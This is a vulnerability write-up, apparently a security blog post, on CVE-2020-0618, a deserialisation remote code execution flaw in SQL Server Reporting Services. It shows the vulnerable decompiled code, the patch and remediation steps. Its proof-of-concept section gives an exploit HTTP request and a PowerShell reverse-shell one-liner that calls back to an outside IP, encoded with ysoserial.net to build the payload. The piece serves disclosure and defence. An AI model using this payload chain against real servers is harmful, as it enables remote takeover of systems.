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CVE-2020-0618: RCE in SQL Server Reporting Services (SSRS)

CVE-2020-0618: RCE in SQL Server Reporting Services (SSRS)

SQL Server Reporting Services (SSRS) provides a set of on-premises tools and services that create, deploy, and manage mobile and paginated reports.

Functionality within the SSRS web application allowed low privileged user accounts to run code on the server by exploiting a deserialisation issue.

Although the application was only accessible to authorised users, the lowest privilege (the Browser role) was sufficient in order to exploit this issue.

Technical Analysis

The issue was found in ReportingServicesWebServer.dll. The OnLoad method of Microsoft.Reporting.WebForms.BrowserNavigationCorrector deserialised untrusted user input using the LosFormatter class:

protected override void OnLoad(EventArgs e)
{
	base.OnLoad(e);
	this.EnsureChildControls();
	if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
	{
		string value = this.m_viewerViewState.Value;
		if (!string.IsNullOrEmpty(value))
		{
			LosFormatter losFormatter = new LosFormatter();
			object obj = null;
			try
			{
				obj = losFormatter.Deserialize(value);

The BrowserNavigationCorrector class was used by the Microsoft.ReportingServices.WebServer.ReportViewerPage class:

protected override void OnInit(EventArgs e)
{
	base.OnInit(e);
	ReportViewerHost reportViewer = this.ReportViewer;
	reportViewer.EnableHybrid = this.ShowHybrid;
	if (reportViewer != null)
	{
		PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
		reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
		BrowserNavigationCorrector child2 = reportViewer.CreateNavigationCorrector();
		reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child2);

It was possible to trigger this functionality by calling the /ReportServer/pages/ReportViewer.aspx page in an On-Premise a SharePoint server for example.

Proof of Concept

The following HTTP request could be sent to a server to exploit the application:

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=

The following commands could be used in PowerShell to generate a payload using the ysoserial.net tool:

$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.6.135",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

The following screenshot shows that a reverse shell was obtained after sending a HTTP request with the payload generated above:

This issue was resolved by Microsoft’s February 2020 patch. The patch simply enabled the MAC validation when using the LosFormatter class:

LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());

Recommendations

Apply the February 2020 patch on the server. It should be noted that attackers can easily encode their requests to evade web application firewalls. As a result, patching would be the only robust option to stop this vulnerability.

Ensure that the application is only accessible to authenticated users and anonymous users do not have the Browser role.

If you suspect your server has already been compromised, in addition to following your normal incident response procedures, be sure to cycle your server’s Machine Key as this can still facilitate code execution even after applying the patch.

This blog post was written by Soroush Dalili.

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Dominic Chell

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